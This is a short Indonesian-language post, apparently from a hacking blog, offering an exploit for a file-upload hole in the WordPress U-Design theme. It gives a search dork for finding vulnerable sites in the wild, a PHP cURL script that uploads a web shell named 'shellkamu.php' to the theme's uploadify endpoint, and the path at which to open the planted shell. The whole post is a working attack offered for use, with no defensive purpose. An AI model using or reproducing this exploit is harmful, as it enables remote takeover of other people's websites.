Wordpress Themes U-Design File Upload Vulnerability

oke gan langsung aja dah ngga usah banyak basa basi lagi wkwkwkwk

dork : inurl:wp-content/themes/u-design
exploit bisa make curl atau xammp

<?php

 

$uploadfile="shellkamu.php";
$ch = curl_init("http://example.com/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,

              array('Filedata'=>"@$uploadfile",

              'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

 

  print "$postResult";
?>

manggil shellnya : localhost/wp-content/themes/u-design/scripts/admin/uploadify/

Tweet